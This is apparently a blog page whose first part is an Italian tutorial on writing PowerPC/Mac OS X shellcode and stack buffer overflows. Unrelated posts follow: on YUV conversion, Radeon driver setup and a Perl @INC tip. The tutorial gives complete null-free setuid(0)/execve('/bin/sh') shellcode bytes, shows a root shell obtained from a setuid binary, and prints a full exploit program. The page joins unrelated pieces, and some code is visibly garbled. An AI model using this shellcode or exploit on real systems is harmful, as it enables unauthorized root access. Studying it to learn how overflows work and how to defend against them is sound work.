Il programma test ritorna '1' se setuid(0) fallisce, '0' altrimenti. Le due esecuzioni distinte illustrano il processo sopra descritto; nella prima chiamata il comando viene eseguito con privilegi utente, come conseguenza la chiamata a setuid fallira' ritornando un valore pari ad '1'. Nella seconda esecuzione, utilizzando il comando sudo, facciamo in modo che la chiamata a setuid non possa fallire ritornandoci il valore di '0' (successo).Il programma effettua un salto di blocco/istruzioni dipendentemente dal modo in cui ritorna da una chiamata di sistema. Considerazioni sulla costruzione di ShellCode Tipicamente, la shellcode e' la seconda parte piu' importante (dopo il bug) di un exploit. Essa viene pensata e scritta per eseguire un processo che mantiene o aquista privilegi di amministratore all'interno di un programma vulnerabile, in maniera che questi privilegi possano essere successivamente utilizzati dall'attaccante. Un tipico esempio potrebbe essere quello di leggere e possibilmente editare i files che sarebbero altrimenti non accessibili come utente normale,come ad esempio passwords del sistema e files di configurazione; eseguire una shell interattiva sul sistema remoto e' un altro obiettivo fondamentale per l'attaccante. In questo modo sara' possibile eseguire comandi remoti con privilegi d'amministratore per tutta la durata della sessione di attacco. Nella maggior parte dei casi, la shellcode viene "iniettata" nello spazio di memoria del programma vulnerabile attraverso un buffer overflow oppure una vulnerabilita' sulla formattazione di stringhe (format string overflow). La natura di questi tipi di vulnerabilita' tipicamente impone alcune restrizioni e caratterizza almeno due qualita' in una buona shellcode: grandezza minima - spesso lo spazio fornito per l'input dell'utente dal programma vulnerabile e' limitato. Le shellcode designate per architetture ppc, tipicamente, sono piu' grandi dell'equivalente per x86, a causa del fatto che le istruzioni utilizzate sono di lunghezza fissa a 32bit. assenza di caratteri NULL - tipicamente le vuln erabilita' derivano dall' utilizzo non corretto di funzioni come strcat, strcpy, gets. Queste funzioni basano la loro esecuzione sul parsing di array di caratteri privi di caratteri NULL. Sfortunatamente, un grande numero di istruzini ppc includono caratteri NULL limitando, in pratica, l'insieme di istruzioni disponibili per la costruzione di una shellcode. E' possibile utilizzare nella maggior parte dei casi delle istruzioni equivalenti prive di questi caratteri. Questo processo, tipicamente,include delle corrispondenze non 1:1 che provocano un ingrandimento delle dimensioni totali della shellcode. Costruire Shellcode Funzionanti L'uso piu' versatile e gettonato di una shellcode e' quello di derivare una shell interattiva da un buco del programma ospite, permettendo all'attaccante di eseguire successivi comandi con privilegi che non gli appartengono. La funzione C execve() viene utilizzata per eseguire un programma e terminare il processo chiamante.Quindi un ideale shellcode potrebbe essere quella che esegue i seguenti tasks:

setuid(0) - prova a (ri)ottenere accesso UID 0 (root). Questa system call
e' utile quando si attaccano programmi che girano con privilegi di un'altro
utente, ma in principio avviati con privilegi di root.
execve("/bin/sh") - esegue /bin/sh.Fornisce all'attaccante un ambiente di shell
interattivo.
exit() - esce in maniera corretta senza errori, minimizzando le possibilita'
della macchina obiettivo di crashare come risultato dell'esecuzione alterata di
un programma.

I numeri delle system call setuid() ed exit() sono gia' state mostrate in precedenza; il loro utilizzo e' praticamente immediato.Discorso a parte bisogna fare per la chiamata execve(), utilizzata per eseguire "/bin/sh". Il suo utilizzo e' piu' complesso e richiede l'uso di alcuni argomenti da passare alla funzione. Ci viene in aiuto il sempre-eterno manuale in linea di unix: man execve(). Ad una attenta visione viene svelato il modo di impiego della system call:

SYNOPSIS
int execve(const char *path, char *const argv[], char *const envp[]);

DESCRIPTION
execve() transforms the calling process into a new process.

un tipico programma di esempio, che utilizza questa funzione, potrebbe essere questo:

 cagliostro$cat shell.c  #include  #include   int main(void){ char *args[2]; args[0] = "/bin/sh"; args[1] = NULL; execve("/bin/sh", args, NULL); }  cagliostro$gcc -o shell shell.c cagliostro$./shell sh-2.05b$

La pagine di man ci mostra quali sono i comandi da passare alla funzione per eseguire il comando "/bin/sh".Questi parametri,saranno passati alla system call attravero i registri di uso generale del processore ppc come mostrato sotto: r0 - il valore della system call execve(), 59 r3 - l'indirizzo di memoria della stringa "/bin/sh" r4 - l'indirizzo di memoria che punta ad *argv r5 - l'indirizzo di memoria che punta ad *envp oppure NULL. PPC ed il link statico Se ci fossimo mossi in un contesto x86, avremmo potuto convertire in maniera quasi indolore il codice di esempio scritto in C, in codice pseudo assembler. Avremmo potuto effettuare le modifiche del caso, dovute a problemi di rilocazione del disassembletore,ed in generale avremmo avuto un codice asm funzionante in poco tempo ( aleph1 - Smash the Stack for fun and Profit). Purtroppo, sotto macos, se si prova a compilare il codice sopra, con le direttive necessarie ad un'adeguata decompilazione: cagliostro$gcc -o myshell -ggdb -static shell.c
otterremo qualcosa del tipo:
ld: can't locate file for: -lcrt0.o cagliostro$
Mac OS non permette il link statico di alcune librerie, a causa di problemi di sicurezza e di portabilita' del codice. Allo stato attuale, quindi,risulterebbe impossibile utilizzare i comuni tricks&trips x86 per potere creare del codice ASM funzionante. Ci sono alcune tecniche di compilazione e programmazione che permettono di aggirare questo problema, ma esulano dallo scopo di questo paper; nel nostro contesto, ci limiteremo a scrivere MANUALMENTE il codice assembler che ci serve.

 cagliostro$cat s_execve.s .globl _main .text _main: xor.    r5, r5, r5      ;1. r5 = NULL bnel    _main           ;2. salta a _main se non e' uguale mflr    r3              ;3. r3 = main + 8 addi    r3, r3, 28      ;4. r3 = main + 8 + 28 = string stw     r3, -8(r1)      ;5. argv[0] = string stw     r5, -4(r1)      ;6. argv[1] = NULL subi    r4, r1, 8       ;7. r4 = puntatore ad argv[] li      r0, 59          ;8. r0 = 59 execve() sc                      ;9. execve(r3, r4, r5) ;   execve(path, argv[], NULL) string:   .asciz "/bin/sh"

L'istruzione 'xor r5, r5, r5' server per azzerare r5 ed impostare il flag
equal nel registro CR.
L'istruzione 'bnel _main' significa letteralmente: salta se non e' uguale e
salva l'indirizzo di ritorno nel registro LR. Questo salto non sara' mai
effettuato a causa del valore impostato nel registro CR, alla riga 1.In ogni
caso, l'indirizzo di ritorno viene salvato nel registro LR.
Il valore corrente conservato nel registro LR viene copiato nel registro r3.
Il valore conservano in r3 viene incrementato di 28bytes per puntare alla
stringa "/bin/sh".
Conserviamo il valore di r3 (stringa) nella locazione di memoria puntata da
r1 (Stack Pointer) meno 8.
Conserviamo il valore di r5 (NULL) nella locazione di memoria r1 (SP) - 4.
Salviamo il valore di r1 ( Stack Pointer ) - 8, nel registro r4.
Carichiamo r0 con il valore 59 (la system call execve).
Attiviamo la system call execve(r3, r4, r5).

cagliostro$gcc -o s_execve s_execve.s cagliostro$./s_execve sh-2.05b$ Eliminare i NULL dal nostro lavoro. Usando GDB (Gnu DeBugger), il nostro semplice lavoro in assembler s_execve, verra' convertito in una shellcode vera e propria, come mostrato di seguito:

 cagliostro$gdb s_execve GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec  4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) disas main Dump of assembler code for function main: 0x00001ecc :    xor.    r5,r5,r5 0x00001ed0 :    bnel+   0x1ecc  0x00001ed4 :    mflr    r3 0x00001ed8 :   addi    r3,r3,28 0x00001edc :   stw     r3,-8(r1) 0x00001ee0 :   stw     r5,-4(r1) 0x00001ee4 :   addi    r4,r1,-8 0x00001ee8 :   li      r0,59 0x00001eec :   sc End of assembler dump. (gdb)  (gdb) x/4bx main 0x1ecc :  0x7c    0xa5    0x2a    0x79 0x1ed0 :        0x40    0x82    0xff    0xfd 0x1ed4 :        0x7c    0x68    0x02    0xa6 0x1ed8 :       0x38    0x63    0x00    0x1c 0x1edc :       0x90    0x61    0xff    0xf8 0x1ee0 :       0x90    0xa1    0xff    0xfc 0x1ee4 :       0x38    0x81    0xff    0xf8 0x1ee8 :       0x38    0x00    0x00    0x3b 0x1eec :       0x44    0x00    0x00    0x02 0x1ef0 :        0x2f    0x62    0x69    0x6e 0x1ef4 :      0x2f    0x73    0x68    0x00  Come possiamo vedere, dall'output del nostro debugger, la shellcode  risultante ha un gran numero di bytes NULL (0x00). Tutto cio' e' male!.Questi bytes devono essere  eliminati  per  poter  rendere  il  nostro  lavoro  utilizzabile.  Piu' precisamente, le linee che causano il problema sono le seguenti:

0x1ed8 : 0x38 0x63 0x00 0x1c
0x1ee8 : 0x38 0x00 0x00 0x3b
0x1eec : 0x44 0x00 0x00 0x02

Le istruzioni originali corrispondenti, sono le seguenti:

: addi r3, r3, 28
: li r0, 59

che andranno rimpiazzate con qualcosa che evita l'uso del valore 0x00:

addi r3, r3, 268+28
addi r3, r3, -268
li r30, 268+59
addi r0, r30, -268

l'opcode per sc e' 0x44000002. Fortunatamente, i bytes 2 e 3 dell'opcode sono riservati e quindi non usati. Visto che non ci sono altri opcode che iniziano per 0x44 e finiscono per 0x02, e' possibile usare qualunque valore NON zero per i bytes 2 e 3 dell'opcode senza inficiare il suo corretto funzionamento. L'opcode finale per 'sc' puo' quindi diventare: sc .long 0x44ffff02 Infine, l'istruzione standard di NOP (No OPeration) sulle architetture ppc contiene dei bytes NULL, come si nota immediatamente dalla sua rappresentazione esadecimale: 0x60000000. L'istruzione di NOP su qualunque sistema e' spesso utilizzata come 'tampone' per riempire lo spazio dove viene ospitato l'exploit. E' necessario, quindi, un metodo per poterla utilizzare. Ancora una volta, i bytes di NULL sono riservati e quindi possono essere cambiati con qualunque altro valore non nullo, come ad esempio: 0x60606060. Mettendo tutto insieme, otteniamo un lavoro simile al seguente:

 cagliostro$cat f_execve.s .globl _main .text _main: xor.    r3, r3, r3      ;1. r3 = 0 bnel    _main           ;2. li      r10, 268+23     ;3. r10 = 268+23 addi    r0, r10, -268   ;4. r0 = 23 (setuid) .long   0x44ffff02      ;5. sc modificato .long   0x60606060      ;6. NOP modificato xor.    r5, r5, r5      ;7. r5 = 0 mflr    r3              ;8. r3 = main + 8 addi    r3, r3, 268+72  ;9. r3 = main + 8 + (268+72) addi    r3, r3, -268    ;A. r3 = string stw     r3, -8(r1)      ;B. argv[0] = string stw     r5, -4(r1)      ;C. argv[1] = NULL subi    r4, r1, 8       ;D. r4 = pointer to argv[] li      r30, 268+59     ; addi    r0, r30, -268   ;E. r0 = 59 execve() .long   0x44ffff02      ;F. sc modificato mr      r3, r5          ;G. r3 = 0 li      r30, 268+1      ; addi    r0, r30, -268   ;H. r0 = 1 (exit) .long   0x44ffff02      ;I. sc modificato string:   .asciz "/bin/sh"  cagliostro$gcc -o f_execve f_execve.s cagliostro$./f_execve sh-2.05b$

La shellcode risultante, la si ottiene utilizzando gdb come illustrato sopra:

 cagliostro$gdb f_execve GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec  4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) disas main Dump of assembler code for function main: 0x00001ecc :    xor.    r3,r3,r3 0x00001ed0 :    bnel+   0x1ecc  0x00001ed4 :    li      r10,291 0x00001ed8 :   addi    r0,r10,-268 0x00001edc :   .long 0x44ffff02 0x00001ee0 :   ori     r0,r3,24672 0x00001ee4 :   xor.    r5,r5,r5 0x00001ee8 :   mflr    r3 0x00001eec :   addi    r3,r3,340 0x00001ef0 :   addi    r3,r3,-268 0x00001ef4 :   stw     r3,-8(r1) 0x00001ef8 :   stw     r5,-4(r1) 0x00001efc :   addi    r4,r1,-8 0x00001f00 :   li      r30,327 0x00001f04 :   addi    r0,r30,-268 0x00001f08 :   .long 0x44ffff02 0x00001f0c :   mr      r3,r5 0x00001f10 :   li      r30,269 0x00001f14 :   addi    r0,r30,-268 0x00001f18 :   .long 0x44ffff02 End of assembler dump. (gdb) (gdb) x/4bx main 0x1ecc :   0x7c    0x63    0x1a    0x79 0x1ed0 :        0x40    0x82    0xff    0xfd 0x1ed4 :        0x39    0x40    0x01    0x23 0x1ed8 :       0x38    0x0a    0xfe    0xf4 0x1edc :       0x44    0xff    0xff    0x02 0x1ee0 :       0x60    0x60    0x60    0x60 0x1ee4 :       0x7c    0xa5    0x2a    0x79 0x1ee8 :       0x7c    0x68    0x02    0xa6 0x1eec :       0x38    0x63    0x01    0x54 0x1ef0 :       0x38    0x63    0xfe    0xf4 0x1ef4 :       0x90    0x61    0xff    0xf8 0x1ef8 :       0x90    0xa1    0xff    0xfc 0x1efc :       0x38    0x81    0xff    0xf8 0x1f00 :       0x3b    0xc0    0x01    0x47 0x1f04 :       0x38    0x1e    0xfe    0xf4 0x1f08 :       0x44    0xff    0xff    0x02 0x1f0c :       0x7c    0xa3    0x2b    0x78 0x1f10 :       0x3b    0xc0    0x01    0x0d 0x1f14 :       0x38    0x1e    0xfe    0xf4 0x1f18 :       0x44    0xff    0xff    0x02 0x1f1c :        0x2f    0x62    0x69    0x6e 0x1f20 :      0x2f    0x73    0x68    0x00 (gdb)

Come e' possibile notare, non sono piu' presenti 0x00! Salviamo i valori hex, ed avremo il nostro primo shellcode, pronto per l'uso:

 \x7c\x63\x1a\x79\x40\x82\xff\xfd \x39\x40\x01\x23\x38\x0a\xfe\xf4 \x44\xff\xff\x02\x60\x60\x60\x60 \x7c\xa5\x2a\x79\x7c\x68\x02\xa6 \x38\x63\x01\x54\x38\x63\xfe\xf4 \x90\x61\xff\xf8\x90\xa1\xff\xfc \x38\x81\xff\xf8\x3b\xc0\x01\x47 \x38\x1e\xfe\xf4\x44\xff\xff\x02 \x7c\xa3\x2b\x78\x3b\xc0\x01\x0d \x38\x1e\xfe\xf4\x44\xff\xff\x02 \x2f\x62\x69\x6e\x2f\x73\x68

proviamo a scrivere un esempio di codice per renderci conto di quanto fatto e detto:

 char shellcode[]= "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x39\x40\x01\x23\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x60\x60\x60\x60" "\x7c\xa5\x2a\x79\x7c\x68\x02\xa6" "\x38\x63\x01\x54\x38\x63\xfe\xf4" "\x90\x61\xff\xf8\x90\xa1\xff\xfc" "\x38\x81\xff\xf8\x3b\xc0\x01\x47" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x2f\x62\x69\x6e\x2f\x73\x68";  int main() { __asm__( "b __shellcode" ); }  cagliostro$gcc -o test_it1 test_it1.c cagliostro$sudo chown root test_it1 cagliostro$sudo chmod u+s test_it1 cagliostro$id uid=501(valvoline) gid=501(valvoline) groups=501(valvoline) cagliostro$./test_it1 sh-2.05b# id uid=0(root) gid=501(valvoline) groups=501(valvoline) sh-2.05b#

Come si puo' vedere, la shellcode finale ha creato con successo una shell interattiva con privilegi di root, che potra' essere utilizzata in futuro per vulnerabilita' del sistema. Gestione Delle Subroutines Nell'architettura x86, le subroutines e le funzioni sono implementate come un'istruzione di 'call'.L'istruzione di call salva l'indirizzo di ritorno sullo stack prima di eseguire la funzione chiamata. L'indirizzo di ritorno salvato, puo' essere sovrascritto usando delle tecniche di buffer overflow, ottenendo il controllo del programma in esecuzione. Sulle architetture ppc le subroutines e le funzioni sono gestite in maniera differente. Il seguente programma C,func.c, dimostra come sono gestite le funzioni su un'architettura di questo tipo.

 cagliostro$cat func.c int function() { return 0; }  int main() { function(); }  cagliostro$gcc -o func func.c cagliostro$gdb func GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec  4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) disas main Dump of assembler code for function main: 0x00001eec :    mflr    r0 0x00001ef0 :    stmw    r30,-8(r1) 0x00001ef4 :    stw     r0,8(r1) 0x00001ef8 :   stwu    r1,-80(r1) 0x00001efc :   mr      r30,r1 0x00001f00 :   bl      0x1ecc  0x00001f04 :   mr      r3,r0 0x00001f08 :   lwz     r1,0(r1) 0x00001f0c :   lwz     r0,8(r1) 0x00001f10 :   mtlr    r0 0x00001f14 :   lmw     r30,-8(r1) 0x00001f18 :   blr End of assembler dump. (gdb)  Il disassemblato di func, rivela che la chiamata a function()  e'  implementata da una chiamata a 'bl '  (Branch  and  Link)  all'indirizzo  main+20. Questo  significa che l'indirizzo  di ritorno dopo  l'esecuzione di function e' conservato nel registro LR (link register). A  questo punto  non c'e' modo  per alterare il valore conservato in LR usando  tecniche  come  quella  del  buffer overflow e, quindi, non esiste modo per  l'attaccante  di ottenere il controllo del programma in esecuzione.  Proviamo a fare alcune considerazioni. Dal  momento che esiste un solo registro LR, se il programma volesse chiamare una seconda  funzione,  il valore corrente di LR deve potere essere preservato!. Questo  significa che  anche  se  non  e' possibile ottenere il controllo della funzione corrente,la sovrascrittura dello stack puo' dare controllo sulla funzione precedente!  La maggior  parte  delle  volte, a causa del numero di istruzioni di salto gia' eseguite, i programmi per ppc presentano molte analogie con i loro  equivalenti per x86. La capacita' di sovrascrivere il valore conservato su LR,e' dimostrato dal codice seguente:  cagliostro$cat s_overflow.c /* Semplice programma per dimostrare l'uso del buffer overflow su architetture ppc.  Costantino Pistagna   "Solo chi e' interamente a conoscenza dei demoni della guerra puo' capire fino in fondo il vantaggio che puo' ricavare tirandola per le lunghe." - L'Arte della Guerra - Sun Tzu */  #include  #include   char hugebuff[] = "12345678901234567890SPAZIORISERVATO1234567890";  int main() { char tinybuff[16]; strcpy(tinybuff, hugebuff); }  Compilando ed avviando il nostro programma di esempio,vedremo come e' possibile ottenere il controllo voluto sul valore del registro LR.  cagliostro$gcc -o s_overflow s_overflow.c cagliostro$gdb s_overflow GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec  4 15:41:30 GMT 2003) Reading symbols for shared libraries .. done (gdb) r Starting program: /Users/valvoline/s_overflow Reading symbols for shared libraries . done  Program received signal EXC_BAD_ACCESS, Could not access memory. 0x41414140 in ?? () (gdb)  gdb  ha  trovato  un  problema  che non ha permesso di  portare  a  termine  il programma, ed ha ritornato un errore  indicande  che  il  codice  ha provato ad eseguire  istruzioni all'indirizzo di memoria '0x41414140'. Questo indirizzo e' il corrispondente esadecimale dello spezzone finale della nostra stringa: ..A.. Questi caratteri hanno sovrascritto i dati precedentemente salvati sullo stack. Di conseguenza il programma assume,non correttamente, che il valore: 0x41414140 e'  il  valore di ritorno conservato in LR. E' da notare che anche se il buffer sovrascritto e' grande solo 16bytes,esso prende in ogni caso 24bytes aggiuntivi per raggiungere  il  punto dove e' salvato il  valore di LR. Questo perche' per ogni frame di stack,vengono mantenuti 24bytes di spazio stack per consentire di preservare i registri.   Esempio dell'uso di una shellcode Usando  la  nostra  shellcode,  costruita   precedentemente,  ed  un  programma vulnerabile con SUID 0, proviamo a costruire  un  esempio  concreto  di  buffer overflow da usare contro osX/Darwin.  cagliostro$cat vulnerable.c /*  Esempio di programma stupido e vulnerabile per dimostrare l'uso della tecnica di buffer overflow.  Costantino Pistagna   "Il materiale di guerra deve essere portato dal proprio paese, ma le vettovaglie devono essere reperite in territorio nemico. CosÃ¬ 'armata avra' cibo sufficiente per i suoi bisogni." L'Arte della Guerra - Sun Tzu */  #include  #include   int main(int argc, char **argv) { char tinybuff[16];  strcpy(tinybuff, argv[1]9; printf("\n%s\n", tinybuff); }   cagliostro$gcc -o vulnerable vulnerable.c cagliostro$sudo chown root vulnerable cagliostro$sudo chmod u+s vulnerable  La linea di pensiero che seguiremo per ottenere il controllo del nostro stupido programma e' la seguente:

costruire il payload iniziale con caratteri random per assicurarci che la
sua grandezza sia corretta per mettere in overflow il buffer tinybuff[16]
+ 24bytes di riserva di spazio stack (40bytes).
ottenere il valore corrente dello stack pointer (r1).
scostare l'indirizzo di memoria ottenuto al passo 2 per puntare alla memoria
che conterra' le istruzioni della nostra shellcode. Bisogna appendere questa
locazione di memoria (4bytes) alla fine del nostro payload.
assicurarsi che il nuovo indirizzo di memoria nello stack sia allineato per
'word' in maniera che il processore lo esegua senza porsi problemi
appendere la shellcode al payload
chiamare il programma vulnerabile con il nostro payload per causare
l'overflow.

Stack: [ buffervulnerabile16bytes ] [ 24bytesRISERVATI ] [ __LR_ ] [ ..DATI.. ]
Payld: [ _caratteri_di_riempimento_anche_senza_senso:: ] [ __RET ] [ shellcode]

e' importante capire che la shellcode sovrascrivera' qualunque dato che e' stato riservato precedentemente nello stack. Per esempio, i dati sovrascritti potrebbero includere variabili d'ambiente e causare problemi sulla shell interattiva che andremo a lanciare.Evitare questo e' solo questione di pratica, esperienza, fortuna e bravura. Un tipico esempio di exploit per il nostro programma vulnerabile visto sopra (vulnerable.c), potrebbe essere quello sotto:

 #include  #include  #include   #define VULNBUFF        16+24 #define SHELLCODE       88 #define OFFSET          380  char shellcode[]= //questi sono 88bytes "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x39\x40\x01\x23\x38\x0a\xfe\xf4" "\x44\xff\xff\x02\x60\x60\x60\x60" "\x7c\xa5\x2a\x79\x7c\x68\x02\xa6" "\x38\x63\x01\x54\x38\x63\xfe\xf4" "\x90\x61\xff\xf8\x90\xa1\xff\xfc" "\x38\x81\xff\xf8\x3b\xc0\x01\x47" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x7c\xa3\x2b\x78\x3b\xc0\x01\x0d" "\x38\x1e\xfe\xf4\x44\xff\xff\x02" "\x2f\x62\x69\x6e\x2f\x73\x68\x00";  char nops[]= //questi sono 40bytes "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60" "\x60\x60\x60\x60\x60\x60\x60\x60";  char riempimento[]= //questi sono 40bytes "BBBBBBBBBBBBBBBBBBBB" "BBBBBBBBBBBBBBBBBBBB";   //ritorniamo il valore di r1 (stack pointer) int sp(void) { __asm__("mr r0, r1"); }  //inizia il codice int main(int argc, char **argv) { long int ret, retused; unsigned char retadd[4]; char bofbuf[400]; memset(bofbuf, '\0', 400);  ret=sp(); retused=ret+OFFSET+40+8; retadd[0]=(int)((retused & 0xff000000) >> 24); retadd[1]=(int)((retused & 0x00ff0000) >> 16); retadd[2]=(int)((retused & 0x0000ff00) >> 8); retadd[3]=(int)(retused & 0x000000ff); retadd[4]='\0';  strcpy(bofbuf, riempimento); //riempimento strcat(bofbuf, retadd); // indirizzo di ritorno strcat(bofbuf, shellcode); // la nostra shellcode  printf("\nChiamiamo ./vulnerable2  ...\n"); execl("./vulnerable2", "vulnerable2", bofbuf, NULL); }

Andare oltre In realta' questo e' solo una piccola parte di quello che e' possibile fare con un uso corretto e consapevole delle tecniche di overflowing. In certi casi e' necessario creare delle porzioni di codice che riescano ad adeguarsi a salti e locazioni di memoria random. Altre volte,sara' necessario scavalcare i sistemi di IDS. Quello che e' necessario comprendere sino in fondo, e' la reale insicurezza dei sistemi che utilizziamo quotidianamente. A causa della smisurata complessita' dei moderni sistemi operativi e' sempre possibile trovare delle porzioni di codice affette da problemi. Riuscire ad 'exploitare' questi problemi e' solo una questione di tempo, abilita' ed astuzia. Le armi a disposizione dell'amministratore e del programmatore sono tante. Prima tra tutte la consapevolezza ed attenzione nel codice che si sta' scrivendo e/o utilizzando: se e' vero che i sistemi complessi non sono mai esenti da bug, e' anche vero che scrivere del codice lascivo non aiutera' nella messa in sicurezza di un sistema! In un prossimo paper, provero' a spiegare i concetti e la pratica che stanno dietro gli attacchi di tipo format-string e heap corruption.Queste due pratiche stanno, infatti, alla base di svariati exploit utilizzati attualmente ed in passato per la violazione di sistemi unix e windows. Successivi Riferimenti aleph1 - smash the stack for fun and profit palante - ppc shellcoding apple - macos X - assembler guide motorola - programming environments for32bits implementations of PPC LSD Res. - unix assembly codes development for vulnerabilities illustrations purpouses.

Lightspark: YUV420 to YUV0 explained

2010-07-15T17:57:00.004+02:00

Theory

Lightspark is a free, open source flash player which aims to be a good, lightweight and fast friend for all flash's sites.
It uses SSE2 extension to to a special job, which is transform from planar YUV420 to packet YUV0.

Planar YUV: each component (Y, U, V) is stored as a separate array
Packed YUV: Y, U (Cb) and V (Cr) samples are packed together into macropixels which are stored in a single array

So, what's the 420 and the 0 stands for?

420: For each U and V sample, there are two Y.
0: After The YUV, there is a NULL byte of padding.

Now, there is the signature of the function:

void fun (uint8_t* y, uint8_t* u, uint8_t* v, uint8_t* out, uint32_t width, uint32_t height);

The u and v array are width*height, and the y array is 4 times width*height (there are two samples of Y for each U and V.. remember).

Naming the Y buffer in this way:

Y1, Y2, Y3... (each Y is one byte)

and V and U respectively

V1,V2.... and U1,U2.... (same, each U or V are one byte)

Our out array needs to be (and this is the YUV0 stands for):

Y1U1V1[0] Y2U1V1[0] Y3U2V2[0] Y4U2V2[0].....

Y7U1V1[0] Y8U1V1[0] Y9U2V2[0] Y10U2V2[0].....

And we need to get this for every line.

A graphical explanation of this: http://en.wikipedia.org/wiki/YUV#Y.27UV420p_.28and_Y.27V12.29

Next we'll see an implementation on altivec-capable processors.

aTi 9600 and linux >= 2.6.33.4: a successfull story

2010-07-14T09:26:00.005+02:00

I was tired, because with my Radeon I could get only 100 FPS. I'm on a PowerBook, so I tried OSX and I reached ~1500 FPS.

What a mess..

My system:
kernel 2.6.33.4, 2.6.35-rc4 to test
xorg 1.8.1
xf86-video-ati 6.13.0
ati-dri 7.8.1
mesa 7.8.1

So, start from Xorg.0.log (located, here, under /var/log). If you see "swrast_dri.so" anywhere, you're using the Software Rasterizer, instead of R300_dri. This means that all 3D operations are done by the CPU instead of GPU, which is soooo slow.

I checked the permission of /dev/dri/card0 (the entry-point for the system to my GPU):

[danimoth@jim ~]$ ls -l /dev/dri/card0
crw-rw---- 1 root video 226, 0 Jul 14 09:22 /dev/dri/card0

Wow! So I just added myself to video group (gpasswd -a danimoth video) and rebooted (I know, it isn't necessary, but I have done it). This part is done.. now, we need to have acceleration.

Now, If I want to load a kernel with modesetting enabled (like 2.6.35-rc4), I had a black screen every time I load the module radeon (at boot time.. so I couldn't do very much)..

To bypass this, in the kernel command line I added:


radeon.modeset=0

and, to avoid ppc problems, I added also


video=radeondrmfb

but this isn't much important. Remember that in your kernel you don't need radeonfb, because if you have this, KMS will not take ownership of GPU (but you don't want KMS, it's still fine).

Now, I can boot into my system, and I could do the magic thing:


# modprobe -r radeon drm
[The screen flickr.. is inusable.. but you could type]
# modprobe drm
# modprobe radeon modeset=1 agpmode=-1

The modset=1 switch indicate to start KMS, and agpmode=-1 (IMPORTANT!!) will start the driver in PCI Mode, and not in AGP Mode (which is the cause of black screen).You could add the two modprobe into a script, and execute it instead of typing all. Now, I started X, and glxinfo reported:


[danimoth@jim ~]$ glxinfo | grep vendor
server glx vendor string: SGI
client glx vendor string: Mesa Project and SGI
OpenGL vendor string: DRI R300 Project

The OpenGL vendor string is OK !!!

So I started glxgears to see FPS, but X crashes:


[   137.813] [mi] EQ overflowing. The server is probably stuck in an
infinite loop.
[   137.813]
Backtrace:
[   137.814] 0: /usr/bin/X (xorg_backtrace+0x58) [0x100582cc]
[   137.814] 1: /usr/bin/X (mieqEnqueue+0x1c8) [0x1004e5d8]
[   137.814] 2: /usr/bin/X (xf86PostButtonEventP+0xf4) [0x10061be8]
[   137.814] 3: /usr/bin/X (xf86PostButtonEvent+0xb4) [0x10061d2c]
[   137.814] 4: /usr/lib/xorg/modules/input/evdev_drv.so
(0xf380000+0x3d88) [0xf383d88]
[   137.814] 5: /usr/bin/X (0x10000000+0x68784) [0x10068784]
[   137.814] 6: /usr/bin/X (0x10000000+0x11a7e4) [0x1011a7e4]
[   137.814] 7: (vdso) (__kernel_sigtramp32+0x0) [0x100344]
[   137.814] 8: /usr/lib/xorg/modules/dri/r300_dri.so
(0xf3f5000+0x48534) [0xf43d534]
[   137.814] 9: /usr/lib/libdrm.so.2 (drmIoctl+0x40) [0xf8b8f64]
[   137.814] 10: /usr/lib/libdrm.so.2 (drmCommandWrite+0x24) [0xf8bbe60]
[   137.814] 11: /usr/lib/xorg/modules/dri/r300_dri.so
(0xf3f5000+0x46944) [0xf43b944]
[   137.814] 12: /usr/lib/xorg/modules/dri/r300_dri.so
(0xf3f5000+0x64d8c) [0xf459d8c]
[   137.814] 13: /usr/lib/xorg/modules/extensions/libglx.so
(0xf930000+0x40f78) [0xf970f78]
[   137.814] 14: /usr/lib/xorg/modules/extensions/libglx.so
(0xf930000+0x44be4) [0xf974be4]
[   137.814] 15: /usr/bin/X (0x10000000+0x34a24) [0x10034a24]
[   137.815] 16: /usr/bin/X (0x10000000+0x18bc4) [0x10018bc4]
[   137.815] 17: /lib/libc.so.6 (0xfb39000+0x1f544) [0xfb58544]
[   137.815] 18: /lib/libc.so.6 (0xfb39000+0x1f6d0) [0xfb586d0]

The only thing I've need to do is remove ALL xorg.conf.d/ files which contains some reference to the radeon module. Just let X.org to autodetect all things..

At next reboot, I was capable to do glxgears without crashing, with ~1500 FPS.
Coming back to 2.6.33.4, I could see which the permission fix resolved also my FPS here (without FPS): ~1500 !

I'm so happy now :)

Thanks to xorg-ati mailing list to help me with this (and primarily with apgmode=-1).

Tell me your stories.

Perl: using script anywhere in your filesystem

2010-06-07T16:38:00.003+02:00

How many times, writing perl script, you have seen this ugly message:

[danimoth@jim test]$ ./TestFileGetCmd.pl
Can't locate FileGetCmd.pm in @INC (@INC contains: /usr/lib/perl5/site_perl/5.10.1 /usr/share/perl5/site_perl/5.10.1 /usr/lib/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib/perl5/core_perl /usr/share/perl5/core_perl /usr/lib/perl5/current /usr/lib/perl5/site_perl/current .) at ./TestFileGetCmd.pl line 5.
BEGIN failed--compilation aborted at ./TestFileGetCmd.pl line 5.
...

To remove this, you could simply add at the beginning of the script:

use lib 'your_dir';

..and you're OK.

Note that 'your_dir' is relative (so, don't use ../../ or similar if you expect your script is executed from various filesystem's point but instead use absolute path).

If you're sure your scripts will be executed from a specified dir, you could safely use "..".

HTH,

Scaling bug.. in tutti i software per la grafica

2010-02-24T18:02:00.002+01:00

